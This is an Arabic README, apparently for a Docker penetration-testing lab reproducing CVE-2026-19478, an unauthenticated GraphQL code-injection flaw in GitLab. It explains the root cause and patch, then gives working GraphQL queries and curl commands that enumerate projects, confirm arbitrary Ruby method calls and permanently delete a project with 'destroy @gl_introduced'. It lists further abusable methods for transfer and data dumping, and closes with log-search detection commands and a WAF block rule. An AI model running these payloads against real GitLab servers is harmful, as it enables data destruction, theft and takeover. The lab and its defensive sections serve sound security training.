
مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات.
حقن كود عن بُعد بدون مصادقة عبر توجيه GraphQL في GitLab CE/EE — احذف أي مشروع عام بطلب HTTP واحد
مختبر اختبار اختراق عملي يعيد إنتاج CVE-2026-19478، وهي ثغرة حرجة (CVSS 9.4) في واجهة GraphQL API الخاصة بـ GitLab. يسمح توجيه @gl_introduced للمهاجمين غير المصادَق عليهم بتنفيذ أساليب Ruby عشوائية على الكائنات في جانب الخادم — بما في ذلك حذف المشاريع، واستخراج البيانات، ونقل الملكية — بدون أي مصادقة.
يشغّل هذا المختبر نسخة حقيقية وضعيفة من GitLab CE 19.2.0 داخل Docker لممارسة استغلال واقعية.
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2026-19478 |
| درجة CVSS | 9.4 (حرجة) |
| المنتج | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| نوع الثغرة | حقن كود / تنفيذ أساليب عشوائية (CWE-94) |
| متجه الهجوم | الشبكة (عن بُعد) |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | لا شيء |
| تعقيد الهجوم | منخفض |
| الإصدارات المتأثرة | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| الإصدارات المُصحَّحة | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| مكتشف الثغرة | hiimguardian (عبر HackerOne) |
| تاريخ التصحيح | 17 أغسطس 2026 |
يمكن لمهاجم عن بُعد بدون مصادقة أن:
يستخدم GitLab توجيه GraphQL مخصصًا @gl_introduced(version: "X.Y") لدعم النشر المتدرج (rolling deployments). عندما يضيف إصدار أحدث من GitLab حقلًا إلى واجهة GraphQL API، تتعامل النسخ الأقدم مع الاستعلامات التي تشير إلى تلك الحقول الجديدة بسلاسة عبر إرجاع null بدلًا من إحداث خطأ.
الملف: lib/gitlab/graphql/version_filter/future_field_fallback.rb (الأسطر 14-36)
التحليل خطوة بخطوة:
FutureFieldFilter يفحص استعلامات GraphQL الواردة. عندما يحتوي حقل على @gl_introduced(version) بإصدار أحدث من إصدار الخادم الحالي، يقوم بإزالة الحقل وتعيين context[:contain_future_fields] = true.
IntroducedTracer يستعيد مستند الاستعلام الأصلي في وقت التنفيذ، معيدًا الحقول المُزالة إلى شجرة الصياغة المجردة (AST).
FutureFieldFallback#get_field يعترض كل عملية بحث عن حقل أثناء التنفيذ. يتحقق من ثلاثة شروط:
contain_future_fields مضبوطة؟ ✅__؟ ✅عندما تنجح الفحوصات الثلاثة جميعها، يُنشئ حقلًا جديدًا GraphQL::Schema::Field بدون فئة محلل (resolver class).
في graphql-ruby، يُحلَّ الحقل الذي لا يحتوي على محلل عبر استدعاء object.public_send(field_name) على كائن Ruby الأساسي — محوّلًا اسم حقل المهاجم إلى استدعاء أسلوب عشوائي على نموذج Project من نوع ActiveRecord.
يستبدل تصحيح GitLab الإرسال الضمني للأساليب بمحلل صريح NilResolver يعيد nil دون شروط، مما يحافظ على التوافق مع النشر المتدرج مع القضاء على تنفيذ الأساليب العشوائية:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie لاختبار واجهة API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| الخدمة | URL | بيانات الاعتماد |
|---|---|---|
| واجهة ويب GitLab | http://localhost | root / P@ssw0rd123! |
| واجهة GraphQL API | http://localhost/api/graphql | غير مطلوبة |
| مستكشف GraphQL | http://localhost/-/graphql-explorer | مطلوب تسجيل الدخول |
| SSH | localhost:2222 | — |
للأجهزة ذات الموارد المحدودة أو لبدء تشغيل أسرع:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
تحقق من إصدار الخادم:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
عدد المشاريع العامة عبر GraphQL (بدون مصادقة):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
اكتشف توجيه @gl_introduced عبر استكشاف المخطط (schema introspection):
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
استخدم @gl_introduced مع إصدار مستقبلي على حقل غير موجود في المخطط:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
إذا كانت النسخة قابلة للاستغلال، يُرجع class اسم فئة Ruby ("Project")، مما يؤكد إرسال الأساليب العشوائية.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
تحذير: ما يلي سيحذف المشروع بشكل دائم.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
أساليب أخرى قابلة للاستغلال في نموذج Project الخاص بـ GitLab:
| الأسلوب | الأثر |
|---|---|
destroy | يحذف المشروع بشكل دائم |
archive | يؤرشف المشروع |
transfer | ينقل ملكية المشروع |
attributes | يفرّغ جميع سمات قاعدة البيانات |
repository | يصل إلى كائن المستودع |
members | يعرض أعضاء المشروع |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| المؤشر | الوصف |
|---|---|
@gl_introduced(version: "99.0") | محاولة استغلال بإصدار مرتفع بشكل غير واقعي |
أسماء الحقول: destroy, delete, update, transfer | استهداف أساليب ActiveRecord التدميرية |
| عمليات حذف مشاريع غير متوقعة | مشاريع تختفي دون إجراء من المسؤول |
| تغييرات في الرؤية | مشاريع عامة تصبح خاصة فجأة |
| نقل الملكية | مشاريع تُنقل إلى مستخدمين مجهولين |
احظر طلبات GraphQL التي تحتوي على @gl_introduced بأرقام إصدارات مرتفعة:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced بسلاسل إصدارات مرتفعة على مستوى البروكسي العكسي/جدار الحماية WAFتم بناء هذا المختبر حصريًا للتعليم الأمني المصرح به والتدريب على اختبار الاختراق. يجب استخدامه فقط في بيئات معزولة وخاضعة للتحكم تملكها أو لديك تصريح كتابي صريح لاختبارها.
لا تستخدم التقنيات أو الأدوات أو كود الاستغلال من هذا المختبر ضد أي نظام دون تصريح مناسب. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) والقوانين المماثلة في جميع أنحاء العالم.
المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا المختبر أو محتوياته.
تابع @pwnsystem على Instagram للحصول على نصائح يومية في الأمن السيبراني، وتفصيلات الثغرات (CVE)، وشروحات الاستغلال خطوة بخطوة.
تواصل مع Punit Darji على LinkedIn للحصول على رؤى أمنية مهنية وتحديثات المختبر.